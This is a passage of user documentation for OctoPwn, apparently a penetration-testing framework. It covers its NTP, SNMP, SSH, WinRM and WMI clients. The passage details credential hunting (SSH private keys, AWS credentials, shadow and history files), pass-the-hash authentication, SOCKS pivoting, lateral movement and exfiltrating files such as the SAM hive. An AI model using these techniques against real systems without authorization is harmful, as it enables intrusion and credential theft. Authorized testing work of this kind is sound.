the server's view of "now" as a UTC datetime, ready to be diffed against your own clock. - **Peer enumeration** — list every peer the server is currently talking to (their addresses, stratums, association IDs and full mode-6 variable set), surfacing infrastructure you may not have known about. --- ## Use cases - **Diagnosing Kerberos clock skew.** A `KRB_AP_ERR_SKEW` from the [Kerberos client](kerberos.md) almost always means your client clock and the DC clock differ by more than 5 minutes. `gettime` against the DC tells you which side is wrong before you start chasing phantom Kerberos issues. - **Mapping internal time infrastructure.** In Active Directory environments the PDC emulator is the authoritative time source for the forest; running `peerlist` against any internal NTP server often surfaces upstream stratum-1/2 hosts (GPS clocks, ISP time servers, dedicated time appliances) that aren't in any other inventory you have. - **Topology side-channel during recon.** Even non-AD NTP servers expose their peer list by default, which is a free way to discover hosts you might not have port-scanned yet. --- ## Commands The client groups its two commands under a single `CMD` heading. ### CMD #### gettime Sends an NTP client-mode request to the server and prints the server's idea of the current time as a UTC `datetime`. Compare it against your own clock to spot drift. ##### Parameters None — operates on the session's bound target. !!! tip "Pair with the Kerberos client" If you're getting `KRB_AP_ERR_SKEW` (clock skew too great) from the [Kerberos client](kerberos.md), point an NTP session at the same DC and run `gettime`. The difference between that timestamp and your local clock is your skew — fix the side that's wrong (usually your local container / VM) and Kerberos will start working. #### peerlist Enumerates every peer the NTP server is currently associated with by walking **NTP mode-6 control messages** — first a `READ_STATUS` request to harvest association IDs, then one `READ_VARS` request per association to pull the full per-peer variable set. Each peer is printed as a single line containing its association data: peer address, stratum, refid, status flags, jitter / offset / delay, and the rest of the standard `ntpq`-style variables. ##### Parameters None — operates on the session's bound target. !!! warning "Mode-6 control access is often restricted" Modern NTP server configurations frequently include `restrict default … noquery` (or its `chrony` equivalent), which disables mode-6 control responses to protect against amplification attacks and topology disclosure. Against a hardened server `peerlist` will return an empty list, time out, or be silently dropped — that's a configuration choice, not a bug. --- ## Limitations & gotchas - **`peerlist` depends on mode-6 control responses.** See the warning above — hardened servers won't answer. - **No mode-7 / `monlist` support.** The infamous Cisco-style monlist amplification query isn't implemented; `peerlist` walks the safer mode-6 control path. - **No NTP authentication (NTS, symmetric keys, autokey).** The client speaks unauthenticated NTPv3 client-mode and mode-6 control. If you find a server requiring auth, you won't be able to talk to it from here. - **No round-trip statistics in `gettime` output.** Only the server timestamp is printed — offset / delay / jitter aren't surfaced today. If you need them, sample a few `gettime` calls and diff the timestamps yourself, or fall back to a dedicated NTP debugging tool. --- # [Clients] SNMP Source: https://docs.octopwn.com/plugins/clients/snmp.html # SNMP Client The **SNMP Client** is OctoPwn's interactive console for talking to SNMP-enabled devices — routers, switches, printers, server lights-out controllers, anything that exposes a Management Information Base (MIB). It wraps [`puresnmp`](https://github.com/exhuma/puresnmp) and supports SNMP **v1**, **v2c** and (experimentally) **v3** on the standard `UDP/161` port. SNMP is criminally underused on internal engagements: network appliances are often deployed with the default `public` / `private` community strings still active, and a single GET against the right OID can hand you a list of running processes, installed software, ARP tables, routing tables, local user accounts or even cleartext device configurations. The OctoPwn client is intentionally minimal — single-OID GET, full bulk walks to the console, and bulk walks straight to a file — so you can pivot quickly between targeted lookups and full MIB dumps. --- ## Authentication SNMP does **not** use NTLM or Kerberos. The `authtype` selector in the session window is mostly framework plumbing here — the actual authentication mechanism is determined by the SNMP version and the credential's secret type. !!! info "Credentials carry the community string" For SNMP **v1** and **v2c**, the credential's *secret* field is the **community string** (`public`, `private`, the vendor's default, the one you found in a config backup, …). Create a credential with secret type `password`, put the community string in the password field, and pick auth protocol `PLAIN` when you create the session. For SNMP **v3**, the credential's *username* is the SNMPv3 user, and its *secret* becomes the SHA1 authentication key (see the [Limitations](#limitations-gotchas) section — v3 is registered but currently incomplete). --- ## Features - **Single-OID GET** for targeted lookups when you already know what you're after. - **Bulk walks** to enumerate entire MIB sub-trees in one shot. - **Bulk walks to file** for dumping large sub-trees (full installed-software lists, full process tables, full routing tables) without flooding the console. - **Multi-version**: SNMP v1, v2c and v3 are all selectable when creating the session. --- ## Prerequisites 1. **A community string or v3 user.** SNMP devices in the wild almost always have at least `public` (read) and `private` (read/write) in their access lists; the [credentials guide](../../user-guide/credentials.md) covers how to add a credential. For v3 you need a username + auth key. 2. **Pick the right SNMP version.** Use the connection-protocol selector to choose `SNMPV1`, `SNMPV2C` or `SNMPV3` (`SNMP` is an alias for `SNMPV2C`). v1 and v2c are wire-incompatible — getting this wrong is the most common cause of silent timeouts. 3. **`login` first.** Unlike the DNS / NTP clients, `login` here actually opens the connection — `get` / `bulkwalk` / `bulkwalkfile` will fail until you've logged in once per session. --- ## Commands Two command groups: `LOGIN` is just the connection trigger, everything functional lives under `CMD`. ### LOGIN #### login Opens the connection to the SNMP server using the session's bound credential. **Must be called first** — every other command needs an open client. ##### Parameters None — operates on the session's bound target and credential. --- ### CMD #### get Performs an SNMP **GET** for a single OID and prints the response value. The response is rendered as a Python `str(value)` — bytes show up as `b'…'`, integers as their decimal form, etc. ##### Parameters - **command**: The OID to query, in dotted-decimal form (e.g. `1.3.6.1.2.1.1.1.0` for `sysDescr`). The parameter is named `command` in the CLI for legacy reasons; it's the OID. ##### Common OIDs of interest | OID | Description | | ---------------------------- | ---------------------------------------------------- | | `1.3.6.1.2.1.1.1.0` | `sysDescr` — system description (OS / firmware string) | | `1.3.6.1.2.1.1.5.0` | `sysName` — system name (hostname) | | `1.3.6.1.2.1.1.6.0` | `sysLocation` — administratively-set location string | | `1.3.6.1.2.1.25.1.6.0` | `hrSystemProcesses` — number of running processes | | `1.3.6.1.2.1.25.4.2.1.2` | `hrSWRunName` — running program names (table) | | `1.3.6.1.4.1.77.1.2.25` | Windows local user accounts (table) | | `1.3.6.1.2.1.6.13.1.3` | TCP local port table | | `1.3.6.1.2.1.25.6.3.1.2` | `hrSWInstalledName` — installed software (table) | | `1.3.6.1.2.1.4.22.1.2` | ARP / IP-to-physical-address table | | `1.3.6.1.4.1.9.2.1.55` | Cisco running-config download (writeMem) — vendor-specific | For the table OIDs (anything ending in `.1.`), use [`bulkwalk`](#bulkwalk) instead of `get` — `get` returns the value at one specific row. #### bulkwalk Walks the MIB starting at `startoid` and prints every reachable `oid : value` pair to the console as it arrives. Output is buffered in batches of 10 entries to keep the console responsive on long walks. This is the bread-and-butter command for SNMP recon — point it at a sub-tree and let it dump everything it finds. ##### Parameters - **startoid**: The OID to start walking from (e.g. `1.3.6.1.2.1` for `mib-2`, `1.3.6.1.4.1` for the enterprise sub-tree). If left empty, defaults to `0` — i.e. walk *everything* the agent will give you. ##### Useful starting points - `1.3.6.1.2.1.25.4.2.1` — full process table (PID, name, path, parameters). - `1.3.6.1.2.1.25.6.3.1` — full installed-software list. - `1.3.6.1.2.1.4.22.1` — full ARP table. - `1.3.6.1.2.1.4.21` — IP routing table. - `1.3.6.1.4.1.77.1.2.25` — Windows local users. - `1.3.6.1.4.1.9.9.46.1.6.1.1.14` — Cisco VLAN names (vendor-specific). #### bulkwalkfile Same walk as `bulkwalk`, but the results are streamed to a file instead of the console. Use this for large sub-trees — full MIB dumps, full ARP tables on Layer-3 devices, full process lists from busy hosts — where you don't want hundreds or thousands of lines spamming the console. ##### Parameters - **startoid**: Same semantics as [`bulkwalk`](#bulkwalk). - **fname**: Output filename (saved to `/browserefs/volatile`). If left empty, an auto-generated name `bulkwalk_YYYYMMDDHHMMSS.txt` is used. Each `oid : value` pair is written on its own line. --- ## Limitations & gotchas - **`login` is required.** Calling `get` / `bulkwalk` / `bulkwalkfile` against a session that hasn't logged in will raise `AttributeError: 'NoneType' object has no attribute …` (because `self.client` hasn't been built yet). Run `login` once per session. - **SNMP v3 is experimental and untested.** The wiring exists (`V3(username, auth=Auth(secret, sha1))`) but the source explicitly carries a `# not tested!!!!!!!` warning and **does not enable privacy** (priv keys are commented out). If you can choose, target v2c; if you must use v3, expect rough edges and a SHA1-only / no-encryption posture for now. - **Wrong-version-on-wrong-port behaves as a timeout, not an error.** If the device speaks v2c but you connected as `SNMPV1`, you get silent timeouts rather than a protocol-error response. When in doubt, try v2c first. - **No SET, no TRAP / INFORM listening.** This is a read-only client today — no `SET` for community-string-write abuse (`private` write community → save device config to TFTP, etc.), and no trap / inform receiver. Use `get` and `bulkwalk` only. --- # [Clients] SSH Source: https://docs.octopwn.com/plugins/clients/ssh.html # SSH Client The **SSH Client** is the most feature-rich client in OctoPwn. It wraps [`amurex`](https://github.com/skelsec/amurex) for the SSH transport layer and bundles four very different operator surfaces into a single session: an interactive shell with multi-tab terminals, an SFTP file browser, an opinionated post-exploitation enumeration toolkit, and a SOCKS proxy that lets every other module in OctoPwn pivot through the SSH host. Default port `22`. Open the session window after login and you'll see why this page is longer than the others — what looks like a thin `ssh` wrapper from the CLI is, through the GUI, a self-contained operator workspace. --- ## Authentication Only **password** and **public-key** authentication are supported — the same surface as the [sshlogin scanner](../scanners/sshlogin.md), since both share the underlying `amurex` SSH client. Other SSH mechanisms (GSSAPI/Kerberos, host-based, certificate, keyboard-interactive) are **not** implemented and will be skipped even if the server advertises them. | Authentication Protocol | Secret Type | Description | Example | | ----------------------- | ----------- | ------------------------------------------------------------------------------------------------------------------ | ---------------------------- | | **Plain** | Password | Authenticates with a username and password. | `username:password` | | **SSH Private Key** | Private Key | Authenticates using an SSH private key. The private key must be uploaded to OctoPwn's volatile storage beforehand. | `/browserfs/volatile/id_rsa` | !!! warning "Host-key verification is disabled by default" The client sets `skip_hostkey_verification = True` so it'll happily connect to any server presenting any host key. Convenient for credential validation across many unknown hosts; if you need integrity guarantees against a specific known host, validate the banner / key fingerprint out-of-band before trusting the session. --- ## What `login` actually does `login` runs five steps under the hood; understanding them helps make sense of the rest of the session: 1. **Open the SSH transport** with the bound credential and target. 2. **Print the server banner** so you can identify the OS / SSH implementation early. 3. **Open an SFTP subsystem** opportunistically — failure is non-fatal (the SFTP browser tab simply stays disabled). 4. **Probe the OS** by running `id` over a short-lived exec channel. A non-empty response is treated as Linux with shell access; an empty response means a network device or restricted shell. 5. **Probe Linux privileges** (Linux + shell access only) by running `id; sudo -ln` and pattern-matching `(root)`, `NOPASSWD: ALL`, `(ALL : ALL) ALL` (admin) or `(sudo)` (sudo group, but not yet validated). The verdict is printed to the console. The resulting state — OS platform, shell access, admin verdict — drives which enumeration commands will work. Re-run [`checkadmin`](#enumeration) at any time to refresh it. --- ## Session window (the GUI experience) The SSH client's winbox window is divided into seven tabs plus a bottom console drawer. The header carries a connection-status pill (`Connected` / `Connecting` / `Disconnected`) and a Login/Logout button. | Tab | What it is | | -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Terminals** | Multi-tab full **xterm.js** terminals. The first PTY is auto-created on login. Click the tab badge to focus a session, the **+** button to spawn another. Per-tab search, clear, and download-as-log. Optional **session recording** when spawning. | | **Files** | Full **SFTP file browser** — directory tree on the left, sortable file list on the right, multi-select, drag-and-drop upload, download (single or batched), in-browser view for text/PDF, right-click context menu, transfer-progress panel, operation queue. | | **Commands** | Auto-generated visual command runner — every entry under `help_groups['COMMANDS']` shows up as a button with parameter inputs, parsed straight from the session's command descriptor. | | **Jobs** | Live table of currently-running operations with PIDs and per-row Stop buttons. Useful for cancelling long-running enumeration commands without killing the session. | | **History** | Scrollable command history with a "screenshot output" capability — turns the rendered output of any past command into an image you can drop into a report. | | **Settings** | Editor for the session parameters (target, credential, timeouts, etc.). | | **Debug** | Raw protobuf message inspector — turns red when active, otherwise hidden. | | **Console** | Collapsible / resizable bottom drawer with the same console you'd type into on the CLI, plus search, clear, and log-download. | !!! tip "The GUI and CLI control the same session" Anything you type in the **Console** drawer hits the same backend the **Commands** tab does. Use the GUI buttons for discovery, drop into the console for repeatable workflows. !!! info "Under the hood — GUI plumbing" The terminal and SFTP browser are driven by a small set of streamed commands (`sendchar`, `resize`, `sendshellcmd`, `remoteListDirectory`, `remoteDownloadFile`, `remotecreateFile`, …). They're not meant to be invoked by users — typing `sendchar` from the console serves no purpose — but they're why those features feel native instead of bolted on. --- ## CLI commands Six command groups, all callable from the console drawer or the Commands tab. ### CONNECTION #### login Opens the SSH connection, runs the auto-detection sequence described in [What `login` actually does](#what-login-actually-does), and flips the session into the connected state. Required before everything except the no-op `logout`. #### logout Closes every active PTY session, tears down the SSH connection, and notifies the GUI to flip the connection-status pill. --- ### SHELL #### ptyshell Spawns an interactive PTY-backed shell on the target and registers it as a new terminal tab in the GUI (unique session ID, focused automatically). Multiple PTYs can coexist in the same SSH connection. ##### Parameters - **record** *(optional, bool, default `False`)*: Set to `True` to record the session to disk in OctoPwn's volatile storage. Two files are written: `ssh_session_` (raw stdout/stderr bytes) and `ssh_session_.time` (per-write ` ` lines). !!! info "Session recording — replay format is custom for now" The recording layout is roughly `script(1)` / `scriptreplay(1)` shaped but isn't a clean drop-in for either standard replayer (and isn't asciinema-compatible either). Until that's standardised, replay needs a small custom script that walks the `.time` file and feeds the data file at the recorded pace. Migrating to **asciinema cast v2** is on the to-do list — the source carries a corresponding TODO comment in `__recorder`. --- ### EXEC #### exec Runs a single command non-interactively over a fresh SSH `exec` channel and prints both stdout and stderr to the console (stderr is prefixed with `[STDERR]`). Good for one-shot commands when you don't need a full PTY. ##### Parameters - **command**: The remote command line (e.g. `cat /etc/hostname`, `uname -a`). - **codec** *(optional, str, default `utf-8`)*: Decoder for the command output. --- ### ENUMERATION Eleven opinionated post-exploitation helpers. **All of them require an active shell on the target** — they print a clear "shell access required" message and bail immediately on network devices / restricted shells. None of them stream credentials back into the Credentials Window today; output goes to the console (and the GUI's command history, where you can screenshot it). | Command | What it does | Notes / side-effects | | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- | | `checkadmin` | Re-runs the OS detection + Linux-privilege probe described in [What `login` actually does](#what-login-actually-does). | Updates the session's `shell_access` / `admin_privs` flags in place. | | `sudocheck` | Actively validates whether the current user can elevate via `sudo`, by running a real `sudo` invocation and checking the result. | **Requires a password credential** (reads it from the session's `cid`). **Touches `/tmp` temporarily.** Two methods: `sudo-stdin` (default) and `mkfifo`. | | `awscreds` | `find … -name credentials -exec grep aws_ {}` over a configurable set of paths, prints the contents of every match. | Default search paths: `/home/`, `/tmp/`. Override via the `search_paths` argument. | | `sshkeys` | Hunts SSH key material (`id_rsa` / `id_dsa` / `id_ecdsa` / `id_ed25519` and their `.pub` counterparts, `authorized_keys`, `known_hosts`, `*.pem`). | **Prints private-key contents in full** to the console. Default paths: `/home/ /root/ /tmp/`. | | `credhunt` | Looks for ~16 well-known credential files (`.git-credentials`, `.netrc`, `.pgpass`, `.my.cnf`, `.env`, `wp-config.php`, `.docker/config.json`, `shadow`, `.k5login`, `database.yml`, …) and dumps the first 30 lines of each match. | Default paths: `/home/ /root/ /tmp/ /opt/ /var/ /srv/ /etc/`. | | `sysinfo` | Hostname, current user, `id`, kernel, architecture, uptime, `/etc/os-release`, CPU model + count, `free -h`, `df -h`. | Pure read-only. | | `netinfo` | Network interfaces (`ip a` / `ifconfig`), routing table, ARP cache, DNS config, `/etc/hosts`, listening ports (`ss -tlnp` / `netstat -tlnp`). | The natural pre-flight for [`createsocksproxy`](#createsocksproxy). | | `findsuid` | `find / -perm -4000`, `find / -perm -2000`, plus world-writable directories outside `/tmp /dev /proc /sys /run`. | Cross-reference the output with [GTFOBins](https://gtfobins.github.io/). | | `crontabs` | `/etc/crontab`, `/etc/cron.{d,daily,hourly,weekly,monthly}/`, the current user's crontab, contents of `/etc/cron.d/*`, and `systemctl list-timers`. | Comments are filtered out so noise stays low. | | `shellhistory` | Harvests `bash_history`, `zsh_history`, `mysql_history`, `psql_history`, `python_history` and friends. Tails the **last 30 lines** of each file and tags lines containing credential-suggesting keywords (`pass`, `key=`, `mysql`, `curl`, `ssh `, …) with `<<<`. | Default paths: `/home/ /root/`. | | `containercheck` | Detects Docker / LXC / Kubernetes by looking at `/.dockerenv`, `/proc/1/cgroup`, `/.dockerinit`, container-shaped hostnames, and `KUBERNETES_*` / `DOCKER_*` env vars. Also prints PID 1's command line, capabilities, and overlay/aufs mount evidence. | Pure read-only — useful for adjusting your post-ex strategy when you've landed in a container. | !!! tip "Most of these are scripted shell pipelines, not magic" Every enumeration command above is a hand-written shell pipeline executed via `exec`. If a command misses something on your target, you can usually replicate the underlying `find …` / `cat …` invocation directly through `exec` and adjust to taste. --- ### FILE #### getfile Downloads a remote file via the SFTP subsystem. Fails fast if the SFTP session wasn't established at login (e.g. the server doesn't ship an SFTP subsystem). ##### Parameters - **remotepath**: Absolute remote path. - **localpath**: Destination path inside OctoPwn's volatile storage. #### putfile Uploads a local file via the SFTP subsystem. ##### Parameters - **localpath**: Source path inside OctoPwn's volatile storage. - **remotepath**: Absolute destination path on the target. !!! tip "Or just use the Files tab" For interactive transfers, the **Files** tab (drag-and-drop upload, multi-select download, transfer-progress panel) is usually the smoother path. `getfile` / `putfile` are the scriptable equivalents for repeatable workflows. --- ### PROXY #### createsocksproxy **Registers a SOCKS proxy in OctoPwn that tunnels TCP connections through this SSH session.** Once created, the proxy shows up in the Proxy Window with a description of `SSH[]`, and any other client / scanner / attack module in OctoPwn can route through it by selecting that proxy ID. This is the practical pivot story for any time you have shell on a Linux jump host that can reach an internal segment your operator workstation can't: 1. SSH-login to the jump host, run `createsocksproxy`. 2. Note the new proxy ID from the Proxy Window. 3. Create your next client (SMB, LDAP, MSSQL, …) against an internal target and select that proxy for it. Traffic will be tunnelled over the SSH connection via `direct-tcpip` channels (i.e. a standard SSH local port forward, but registered as an OctoPwn proxy rather than bound to a local TCP port). ##### Parameters None. !!! warning "Proxy lifetime" The proxy is bound to the SSH session that created it. If you log out of the SSH client, in-flight tunnels through the proxy will fail — destroy and re-create dependent client sessions if you intend to keep working after the SSH session is gone. --- ## Limitations & gotchas - **Auth methods**: only password and public key. GSSAPI/Kerberos, host-based, certificate, and keyboard-interactive aren't implemented. - **Host-key verification is permanently off** in the current build (`skip_hostkey_verification = True`). If you need to assert you're talking to the *expected* host, validate the banner / fingerprint out-of-band. - **Enumeration commands are Linux + shell-access only.** They print "Shell access required" and bail on network devices, restricted shells, and Windows OpenSSH targets. - **`sudocheck` requires a password credential** bound to the session — it can't validate sudo when authentication was done via SSH key only. The check also temporarily writes to `/tmp/` and removes it; expect a brief disk footprint. - **`sshkeys` prints private keys in full** to the console. Mind your screen when demoing. - **`credhunt` and `shellhistory` only show the first 30 / last 30 lines** of each file. For full content, use `getfile` to download the file or `exec cat `. - **Session recording uses a custom format** (`` raw bytes + `.time` per-write timing sidecar). Replaying it needs a small custom script today; an asciinema-compatible cast format is on the to-do list (see `__recorder` in `octopwn/clients/ssh/console.py`). - **`createsocksproxy` ties the proxy to the SSH session** — log out of the SSH client and any tunnels through that proxy break. --- # [Clients] WinRM Source: https://docs.octopwn.com/plugins/clients/winrm.html # WinRM Client The **WinRM Client** speaks Windows Remote Management (WS-Management over HTTP/HTTPS) and gives you remote command execution, PowerShell execution, and PowerShell-driven file transfer against Windows targets — i.e. the protocol behind `Enter-PSSession` and `Invoke-Command`. It wraps [`awinrm`](https://github.com/skelsec/awinrm) and is most often used as a lateral-movement primitive against hosts where SMB is locked down but WinRM (5985 / 5986) is exposed. | Variant | Protocol | Default port | | --------- | -------- | ------------ | | `WINRM` | HTTP | 5985 | | `WINRMS` | HTTPS | 5986 | --- ## Authentication The WinRM client supports six authentication modes — three NTLM-flavoured and three Kerberos-flavoured — covering the wrappers Windows itself negotiates (`Negotiate`/SPNEGO and `CredSSP`). | `atype` | Underlying creds | Notes | | ------------------- | ---------------- | --------------------------------------------------------------------- | | `NTLM` | NTLM | Defaults to the `SPNEGO` (Negotiate) wrapper. | | `KERBEROS` | Kerberos | Defaults to the `SPNEGO` (Negotiate) wrapper. | | `SPNEGO_NTLM` | NTLM | Explicit SPNEGO wrap; identical to `NTLM` above. | | `SPNEGO_KERBEROS` | Kerberos | Explicit SPNEGO wrap; identical to `KERBEROS` above. | | `CREDSSP_NTLM` | NTLM | CredSSP wrap (delegates credentials — useful for double-hop). | | `CREDSSP_KERBEROS` | Kerberos | CredSSP wrap (delegates credentials — useful for double-hop). | ### NTLM credentials | Secret type | Description | Example | | ------------- | -------------------------------------------------------------------- | -------------------- | | `password` | Cleartext password. | `username:Pa55w0rd!` | | `pwhex` | Hex-encoded UTF-16LE password (for non-ASCII passwords). | `username:70617373…` | | `nt` | NT hash (pass-the-hash). | `username:aad3b…` | | `rc4` | RC4 (synonym for NT for the NTLM exchange). | `username:aad3b…` | | `agentproxy` | Use a remote NTLM signer over the wsnet agent proxy. | n/a | | `sspiproxy` | Use the OS's SSPI session via the wsnet agent proxy (Windows agent). | n/a | ### Kerberos credentials | Secret type | Description | Example | | --------------- | ------------------------------------------------------------------------------------------ | ------------------------------------ | | `password` | Cleartext password. | `username:Pa55w0rd!` | | `pwhex` | Hex-encoded UTF-16LE password. | `username:70617373…` | | `nt` / `rc4` | NT/RC4 hash. | `username:aad3b…` | | `aes128` | AES128 long-term key. | `username:<32-hex>` | | `aes256` | AES256 long-term key. | `username:<64-hex>` | | `keytab` | Kerberos keytab file in OctoPwn volatile storage. | `/browserfs/volatile/admin.keytab` | | `keytabb64` | Base64-encoded keytab inline. | `username:` | | `ccache` | MIT ccache file in OctoPwn volatile storage. | `/browserfs/volatile/krb5cc.ccache` | | `ccacheb64` | Base64-encoded ccache inline. | `username:` | | `kirbi` | `.kirbi` ticket file (Rubeus-style). | `/browserfs/volatile/admin.kirbi` | | `kirbib64` | Base64-encoded `.kirbi` inline. | `username:` | | `pfxb64` | Base64-encoded PFX (PKINIT certificate auth). | `username:` | | `agentproxy` | Remote KDC over the wsnet agent proxy. | n/a | | `sspiproxy` | OS SSPI session via wsnet agent proxy (Windows agent). | n/a | !!! tip "Pick `CREDSSP_*` when you need double-hop" Standard SPNEGO/Negotiate WinRM auth doesn't delegate credentials, so any further network hop from the remote shell (e.g. accessing a file share or another server) will fail with `Access is denied`. CredSSP delegates the credential to the target so the remote process can re-authenticate outwards on your behalf — at the cost of dropping a usable secret on the target, which is why it's disabled by default in many environments. !!! warning "Host certificate validation on `WINRMS`" HTTPS connections rely on the underlying HTTP transport's TLS layer; expect the same forgiving stance other OctoPwn clients take towards self-signed enterprise WinRM certificates. Validate fingerprints out-of-band if integrity matters. --- ## Commands ### CONNECTION #### login Establishes a WinRM session against the target. There's no long-lived shell or socket held open between commands — under the hood every subsequent command opens its own `awinrm` session via the bound factory. `login` itself runs a single `whoami` round-trip to confirm credentials work end-to-end and flips the session into the connected state. #### logout Marks the session as logged out. Because every command opens its own short-lived session, no persistent connection needs to be torn down. --- ### CMD #### cmdexec Executes a single command via `cmd.exe` on the remote host and prints `stdout`, `stderr`, and the return code. Each invocation spins up a fresh `cmd.exe` process — there is **no shared state** between calls (no working directory, no environment variables, no command history). ##### Parameters - **command**: The cmd.exe command to execute (e.g. `whoami /all`, `ipconfig /all`, `dir C:\`). #### psexec Executes a PowerShell command or script on the remote host and prints `stdout`, `stderr`, and the return code. Each invocation spawns a fresh PowerShell engine — again, **no shared state** between calls. ##### Parameters - **script**: The PowerShell command or one-liner script (e.g. `Get-Process`, `Get-LocalUser`, `Get-WmiObject Win32_OperatingSystem | Select-Object Caption,Version`). !!! tip "PowerShell beats cmd for almost everything" `psexec` is the more capable surface — richer object output, structured pipelines, and far more enumeration cmdlets. Reach for `cmdexec` only when you specifically need a `cmd.exe` builtin or a legacy console-mode binary that misbehaves under PowerShell. --- ### FILE PowerShell-driven file transfer. There is no SMB share, no CIFS dependency — everything rides over the same WinRM channel as the command-execution APIs, base64-encoded inside short PowerShell scripts. #### getfile Downloads a remote file to OctoPwn's working directory. The remote file is read in 3 MiB chunks via `[IO.File]::OpenRead` + `[Convert]::ToBase64String`; each chunk is base64-decoded and appended locally. Progress is printed for files larger than one chunk. ##### Parameters - **remotepath**: Absolute path to the file on the target (e.g. `C:\Windows\System32\config\SAM`, `C:\Users\Administrator\Desktop\loot.zip`). - **localpath** *(optional)*: Destination path inside OctoPwn's working directory. **If omitted**, the file is saved under the same basename as the remote path. Both supplied and derived paths are jailed to the working directory — attempts to escape (`..`, absolute paths outside workdir) are rejected. #### putfile Uploads a local file to the remote host in 128 KiB chunks (the upper bound is dictated by the WinRM SOAP envelope size — uploads are fundamentally chunkier than downloads). The first chunk uses `[IO.File]::WriteAllBytes` (creates / overwrites); subsequent chunks use `[IO.File]::Open(... 'Append')`. Remote file size is verified after the final chunk. ##### Parameters - **localpath**: Source file inside OctoPwn's working directory (jailed — paths outside workdir are rejected). - **remotepath**: Absolute destination path on the target (e.g. `C:\Windows\Temp\loader.exe`). !!! warning "PowerShell file transfer isn't fast" Both transfers serialize chunks through PowerShell scripts, so they're round-trip-bound. Expect noticeably slower throughput than SMB-based transfers. For small payloads (binaries, scripts, captured registry hives) it's fine; for multi-hundred-MB transfers you'll want a different vector. !!! warning "Remote paths are interpolated into PowerShell" Both `getfile` and `putfile` interpolate `remotepath` directly into the PowerShell script that's sent to the target. **Don't** point them at attacker-controlled or untrusted path strings — single quotes inside the path will break the script (and could be used for PS-injection if the path is operator-supplied from elsewhere). --- ### HUNT #### awscreds Searches the remote host for AWS credential files (`credentials` files containing `aws_*` keys) using a single PowerShell `Get-ChildItem -Recurse | Select-String` pipeline. ##### Parameters - **searchpath** *(optional)*: PowerShell-style array of paths to search. Defaults to ``'C:\Users\', 'C:\ProgramData\AWSCLI\', 'C:\Temp\'``. Provide your own as a comma-separated list of single-quoted strings, e.g. `'C:\Users\', 'D:\Backups\'`. --- ## Limitations & gotchas - **No interactive shell / PTY.** WinRM is fundamentally a request/response protocol (WS-Management over SOAP) — it doesn't natively expose a PTY the way SSH does. An SSH-style terminal experience is on the to-do list (a corresponding TODO comment lives in `octopwn/clients/winrm/console.py` next to `help_groups`); attempts so far have struggled with line buffering, ANSI handling, and the `awinrm` shell-lifecycle plumbing. Until that's done, every `cmdexec` / `psexec` is a one-shot with **no shared state** (cwd, env vars, variables, loaded modules — all gone after each call). - **Each command = a new session.** Because every `do_*` command wraps itself in `async with self.factory.get_session()`, there's a small per-command setup cost (auth handshake on first call is cached by the underlying HTTP layer, but a new shell is spawned each time). Batch logic into a single `psexec` invocation if you care about latency. - **No double-hop without CredSSP.** Selecting `NTLM` / `KERBEROS` / `SPNEGO_*` won't let the remote shell re-authenticate to a third host. Use `CREDSSP_*` if you need that — at the usual cost. - **PowerShell-only file transfer.** `getfile` and `putfile` go through the same SOAP channel as `psexec`; they're significantly slower than SMB and don't preserve metadata (timestamps, ACLs). - **No certificate auth.** The factory doesn't currently expose WinRM's certificate-based authentication mechanism — only NTLM / Kerberos via SPNEGO or CredSSP. - **`HUNT` is intentionally minimal.** Unlike the SSH client, the WinRM client doesn't ship a broad post-exploitation enumeration toolkit. For now, drive enumeration through `psexec` directly (e.g. `Get-LocalUser`, `Get-LocalGroupMember`, `Get-Process`, `Get-Service`, `Get-NetTCPConnection`, `(Get-WmiObject Win32_OperatingSystem)`, …). --- # [Clients] WMI Source: https://docs.octopwn.com/plugins/clients/wmi.html # WMI Client The **WMI Client** speaks Windows Management Instrumentation (`MS-WMI` over DCOM) against Windows hosts. It wraps `aiosmb`'s DCOM/WMI stack and provides the standard WMI surface — running WQL queries, executing commands via `Win32_Process.Create`, manipulating the registry via `StdRegProv`, managing VSS shadow copies, plus a curated set of enumeration helpers and an RDP-toggling toolkit. The WMI client is one of OctoPwn's core lateral-movement primitives. Compared to the [WinRM client](./winrm.md), it operates over the older DCOM transport, has no need for `WinRM` to be enabled on the target, and exposes much richer enumeration surfaces — at the cost of being more verbose on the wire and easier to detect. --- ## Transport — what's actually on the wire | Step | Destination | Purpose | | ---- | ----------------------------------------------------------------- | ---------------------------------------------------------------------- | | 1 | Target, **TCP/135** (Endpoint Mapper, `epmapper`) | DCOM activation handshake; resolves the dynamic port for the WMI service. | | 2 | Target, **TCP/<dynamic port>** (typically in the 49xxx range) | DCERPC bind, authentication, and all WMI traffic (`IWbemServices` calls). | Authentication is performed inside the DCERPC bind on the second connection — the same model as the [DCEDRSUAPI client](./dcedrsuapi.md). The default `PORT: 135` shown in the session's connection settings is the EPM port; the actual WMI port is discovered dynamically. !!! info "Plan firewall scope accordingly" For this client to work, you need TCP reachability to the target on **port 135** *and* on its RPC dynamic port range (49152–65535 by default on modern Windows; legacy hosts may use 1024–5000). Hosts where only SMB (445) is reachable are not addressable through this client — use the [WinRM client](./winrm.md) (5985 / 5986) or the [SMB client](./smb.md)'s lateral-movement commands instead. --- ## Authentication The WMI client supports the standard NTLM and Kerberos credential families. There is no anonymous / null-session authentication path — DCOM/WMI requires an authenticated principal. | `atype` | Underlying creds | Notes | | ---------- | ---------------- | --------------------------------------------------------------------------- | | `NTLM` | NTLM | Negotiate-wrapped NTLM. Supports the full pass-the-hash family. | | `KERBEROS` | Kerberos | Standard Kerberos auth. Requires reachability to the KDC. | ### NTLM credentials | Secret type | Description | Example | | ------------- | -------------------------------------------------------------------- | ---------------------- | | `password` | Cleartext password. | `username:Pa55w0rd!` | | `pwhex` | Hex-encoded UTF-16LE password (for non-ASCII passwords). | `username:70617373…` | | `nt` | NT hash (pass-the-hash). | `username:aad3b…` | | `rc4` | RC4 (synonym for NT for the NTLM exchange). | `username:aad3b…` | | `agentproxy` | Use a remote NTLM signer over the wsnet agent proxy. | n/a | | `sspiproxy` | Use the OS's SSPI session via the wsnet agent proxy (Windows agent). | n/a | ### Kerberos credentials | Secret type | Description | Example | | --------------- | ------------------------------------------------------------ | ------------------------------------ | | `password` | Cleartext password. | `username:Pa55w0rd!` | | `pwhex` | Hex-encoded UTF-16LE password. | `username:70617373…` | | `nt` / `rc4` | NT/RC4 hash. | `username:aad3b…` | | `aes128` | AES128 long-term key. | `username:<32-hex>` | | `aes256` | AES256 